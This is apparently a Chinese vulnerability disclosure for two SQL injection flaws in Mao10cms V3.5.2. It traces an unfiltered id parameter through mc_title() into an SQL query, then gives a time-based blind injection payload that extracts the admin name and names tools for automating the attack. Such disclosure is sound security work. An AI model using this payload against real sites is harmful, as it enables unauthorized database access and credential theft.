### 简要描述:
Mao10cms最新版前台注入2枚打包,可出任意数据
### 详细说明:
Mao10cms用户量不小,2015-06-25更新的V3.5.2,今天来学习一下吧
两个注入点,分别存在在于application/common/common/function.php/mc_title()方法和application/common/common/function.php/mc_seo()中。注入产生的原因都是id没有过滤,这两个注入点前台可直接注入出数据。这里以application/common/common/function.php/mc_title()为例进行说明。
存在注入的文件在application/common/common/function.php中
我们来看看代码
```
//全站标题
function mc_title() {
无关代码
elseif(MODULE_NAME=='User') {
if(CONTROLLER_NAME=='Register') {
$title = '注册 - '.mc_option('site_name');
} elseif(CONTROLLER_NAME=='Login') {
$title = '登陆 - '.mc_option('site_name');
} elseif(CONTROLLER_NAME=='Lostpass') {
$title = '找回密码 - '.mc_option('site_name');
} elseif(CONTROLLER_NAME=='Index') {
$display_name = mc_user_display_name($_GET['id']);
if(ACTION_NAME=='index') {
$title = $display_name.'的首页 - '.mc_option('site_name');
} elseif(ACTION_NAME=='pages') {
$title = $display_name.'的主题 - '.mc_option('site_name');
} elseif(ACTION_NAME=='edit') {
$title = $display_name.'的资料 - '.mc_option('site_name');
} elseif(ACTION_NAME=='shoucang') {
$title = $display_name.'的收藏 - '.mc_option('site_name');
} elseif(ACTION_NAME=='guanzhu') {
$title = $display_name.'的关注 - '.mc_option('site_name');
} elseif(ACTION_NAME=='comments') {
$title = $display_name.'的评论 - '.mc_option('site_name');
} elseif(ACTION_NAME=='fans') {
$title = $display_name.'的粉丝 - '.mc_option('site_name');
} elseif(ACTION_NAME=='pro') {
$title = $display_name.'的订单 - '.mc_option('site_name');
} elseif(ACTION_NAME=='coins') {
$title = '积分记录 - '.mc_option('site_name');
} else {
$title = '未知页面 - '.mc_option('site_name');
}
} else {
$title = '未知页面 - '.mc_option('site_name');
}
```
看上面代码中看到$display_name = mc_user_display_name($_GET['id']);去看看mc_user_display_name()
```
//用户昵称
function mc_user_display_name($page_id) {
$user_display_name = mc_get_page_field($page_id,'title');
if($user_display_name) {
return $user_display_name;
} else {
return mc_get_meta($page_id,'user_name',true,'user');
}
};
```
从上面的代码中可以看到,如果由$page_id查不到用户名,如果$page_id提交有’,肯定查不到,就执行mc_get_meta(),再去看看吧
```
function mc_get_meta($page_id,$meta_key,$array=true,$type='basic') {
$meta = M('meta')->where("page_id='$page_id' AND meta_key='$meta_key' AND type ='$type'")->order('id desc');
if($array) {
return $meta->getField('meta_value');
} else {
return $meta->getField('meta_value',true);
};
}
```
到这里可以看到了,从$_GET[‘id’]一直到$page_id,再带入sql语句执行,没有过滤,因此,这里存在注入。
下面以time-based blind注入进行证明
Payload(get提交):
```
id=2')union/**/select/**/if(mid((select/**/admin_name/**/from/**/pe_admin/**/limit/**/0,1),1,1)='z',sleep(1),0)%23
```
当猜测错误时,如下图
[<img src="https://images.seebug.org/upload/201507/042346041dda61f7a96337e2784b2951ba97915e.jpg" alt="错误副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/042346041dda61f7a96337e2784b2951ba97915e.jpg)
当猜测正确时,如下图
[<img src="https://images.seebug.org/upload/201507/042346183787bbf40d100ec13816eb4941f32223.jpg" alt="正确副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/042346183787bbf40d100ec13816eb4941f32223.jpg)
整个注入过程可以使用burpsuite 或者sqlmap 再或者自己写个脚本来跑,在本地进行测试,用户名为admin,密码为f6fdffe48c908deb0f4c3bd36c032e72
### 漏洞证明:
见 详细说明
暂无评论